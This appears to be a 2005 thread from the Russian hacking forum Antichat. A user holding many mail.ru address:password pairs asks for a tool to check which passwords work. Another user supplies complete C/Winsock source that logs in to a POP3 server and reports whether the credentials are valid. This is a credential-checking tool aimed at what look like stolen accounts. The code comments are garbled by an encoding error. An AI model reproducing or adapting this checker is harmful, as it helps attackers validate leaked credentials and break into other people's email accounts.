Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Проверка мыл на валидность паса |

20.10.2005, 20:15
|
|
Постоянный
Регистрация: 03.03.2005
Сообщений: 351
Провел на форуме: 1120282
Репутация:
112
|
|
Проверка мыл на валидность паса
Есть мыльники вида (много мыльников):
name@mail.ru: pas
Все мыльники находяться на серваке mail.ru (включительно list.ru, bk.ru, inbox.ru). Нада прога, которая проверит их на валидность паса. Помогите найти... 
|
|
|

20.10.2005, 21:32
|
|
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме: 4610226
Репутация:
1332
|
|
Напиши сам
Просто отсылаешь пакеты на pop3 сервак - если ответ с кодом 200, то всё прошло удачно! И работает это быстро
|
|
|

20.10.2005, 22:08
|
|
Постоянный
Регистрация: 03.03.2005
Сообщений: 351
Провел на форуме: 1120282
Репутация:
112
|
|
1. Я не грамотный, напиши ты
2. Я ищю прогу, а не советы по написанию...
|
|
|

21.10.2005, 00:33
|
|
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме: 4610226
Репутация:
1332
|
|
Мля.... спать охота. Завтра код дам
|
|
|

21.10.2005, 15:31
|
|
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме: 4610226
Репутация:
1332
|
|
Вот держи!
взодные параметры - поп сервер, имя, пасс
Код:
//---------------------------------------------------------------------------
#pragma hdrstop
//---------------------------------------------------------------------------
#pragma argsused
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <string.h>
int main(int argc, char* argv[])
{
if (argc!=4) return 1;
if(strlen(argv[1])>255||strlen(argv[2])>255||strlen(argv[3])>255) return 2;
char mess[2048],buff[2048];
int error;
//Ñîçäàäèì ñîåäåíåíèå
SOCKET s;
struct sockaddr_in addr;
WSAData data;
WSAStartup(MAKEWORD(2,1),&data);
s=socket(AF_INET,SOCK_STREAM,0);
addr.sin_family=AF_INET;
addr.sin_port=htons(110);
hostent *hp = gethostbyname(argv[1]);
memcpy(&addr.sin_addr, hp->h_addr, hp->h_length);
memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
connect(s,(sockaddr*)&addr,sizeof(addr));
//Îòïðàâëÿåì ñåðâåðó ñîîáùåíèå
//çàïðîñ - èìÿ
recv(s,(char*)&buff,sizeof(buff),0);
strcpy(mess,"USER ");
strcat(mess,argv[2]);
strcat(mess,"\n\r");
error=send(s,mess,strlen(mess),0);
memset(&buff,0,sizeof(buff));
error=recv(s,(char*)&buff,sizeof(buff),0);
if (error==0) {printf("Error!");return 1;};
if(buff[0]!='+')
{
printf("Error:%s\n",argv[2]);
return 1;
}
strcpy(mess,"PASS ");
strcat(mess,argv[3]);
strcat(mess,"\n\r");
error=send(s,mess,strlen(mess),0);
memset(&buff,0,sizeof(buff));
error=recv(s,(char*)&buff,sizeof(buff),0);
if (error==0) {printf("Error!");return 1;};
if(buff[0]!='+')
{
printf("Error:%s\n",argv[3]);
return 1;
}
printf("USER OK!\n");
strcpy(mess,"QUIT");
send(s,mess,strlen(mess)+1,0);
closesocket(s);
return 0;
}
//---------------------------------------------------------------------------
|
|
|

21.10.2005, 15:54
|
|
Постоянный
Регистрация: 03.03.2005
Сообщений: 351
Провел на форуме: 1120282
Репутация:
112
|
|
И чё мне с этим делать? Я ж говорю я низнаю ни одного языка программирования (кроме QBasica, его я не считаю как токовым!)
ТАК ЧТО Я ИЩЮ ИМЕННО ПРОГУ А НЕ ИСХОДНИКИ, СКРИПТЫ И Т.Д.
З.Ы. прогу какуюто уже нашел...
|
|
|

21.10.2005, 16:20
|
|
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме: 4610226
Репутация:
1332
|
|
Ну ты даёшь... Нашёл так нашёл
|
|
|

21.10.2005, 17:18
|
|
Новичок
Регистрация: 18.09.2005
Сообщений: 4
Провел на форуме: 59531
Репутация:
0
|
|
Нашел, поделись названием!
|
|
|

21.10.2005, 18:55
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
|
|
|

21.10.2005, 19:59
|
|
Постоянный
Регистрация: 03.03.2005
Сообщений: 351
Провел на форуме: 1120282
Репутация:
112
|
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|